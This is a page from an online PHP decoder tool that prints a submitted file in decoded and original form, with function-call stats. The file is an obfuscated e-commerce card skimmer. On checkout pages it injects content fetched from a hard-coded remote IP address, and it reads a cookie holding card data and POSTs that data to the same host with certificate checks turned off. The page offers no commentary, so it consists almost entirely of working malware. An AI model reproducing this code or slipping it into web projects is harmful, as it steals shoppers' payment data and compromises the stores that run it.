Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if ($_SERVER['REQUEST_METHOD'] === 'GET'){ if (strpos($_SERVER['REQUEST_URI..
Decoded Output download
<?php if ($_SERVER['REQUEST_METHOD'] === 'GET'){
if (strpos($_SERVER['REQUEST_URI'], 'checkout') !== false){
if(!isset($_COOKIE['adminhtml'])){
echo @file_get_contents(base64_decode('aHR0cHM6Ly8xMDMuMjMzLjExLjI4L2pRdWVyeV9TdFhsRmlpc3hDRE4ucGhwP2hhc2g9MDZkMDhhMjA0YmRkZmViZTI4NTg0MDhhNjJjNzQyZTk0NDgyNDE2NA=='), false, stream_context_create(array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),'http' => array('header' => "Content-type: application/x-www-form-urlencoded
"."Cookie: license_token=".base64_encode(bin2hex($data))."
",'method' => 'POST',"ignore_errors" => true,"timeout" => (float)5.0,'content' => http_build_query(array('hash' => '00119e58f3d6d3ad18b9719211d2db313ccb5251'))))));
}
}
}
if(strpos(hex2bin($_COOKIE[hex2bin('5F736C6F6773')]), hex2bin('63635F636964')) !== false ){$result = file_get_contents(hex2bin('68747470733A2F2F3130332E3233332E31312E32382F'), false, stream_context_create(array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),'http' => array('header' => "Content-type: application/x-www-form-urlencoded
"."Cookie: license_token=".base64_encode($_COOKIE[hex2bin('5F736C6F6773')])."
",'method' => 'POST','content' => http_build_query(array('license_token_hash' => 'dcf2df71e8fff31ab0b5ac5521f6c799'))))));setcookie(hex2bin('5F736C6F6773'),"7B226C7863223A2231227D",time() - 3600, "/");} ?>
Did this file decode correctly?
Original Code
<?php if ($_SERVER['REQUEST_METHOD'] === 'GET'){
if (strpos($_SERVER['REQUEST_URI'], 'checkout') !== false){
if(!isset($_COOKIE['adminhtml'])){
echo @file_get_contents(base64_decode('aHR0cHM6Ly8xMDMuMjMzLjExLjI4L2pRdWVyeV9TdFhsRmlpc3hDRE4ucGhwP2hhc2g9MDZkMDhhMjA0YmRkZmViZTI4NTg0MDhhNjJjNzQyZTk0NDgyNDE2NA=='), false, stream_context_create(array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),'http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n"."Cookie: license_token=".base64_encode(bin2hex($data))."\r\n",'method' => 'POST',"ignore_errors" => true,"timeout" => (float)5.0,'content' => http_build_query(array('hash' => '00119e58f3d6d3ad18b9719211d2db313ccb5251'))))));
}
}
}
if(strpos(hex2bin($_COOKIE[hex2bin('5F736C6F6773')]), hex2bin('63635F636964')) !== false ){$result = file_get_contents(hex2bin('68747470733A2F2F3130332E3233332E31312E32382F'), false, stream_context_create(array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false,),'http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n"."Cookie: license_token=".base64_encode($_COOKIE[hex2bin('5F736C6F6773')])."\r\n",'method' => 'POST','content' => http_build_query(array('license_token_hash' => 'dcf2df71e8fff31ab0b5ac5521f6c799'))))));setcookie(hex2bin('5F736C6F6773'),"7B226C7863223A2231227D",time() - 3600, "/");}
Function Calls
strpos | 1 |
bin2hex | 1 |
base64_decode | 1 |
Stats
MD5 | d3d4d1bda33806c1cbc02d65603d7fb9 |
Eval Count | 0 |
Decode Time | 99 ms |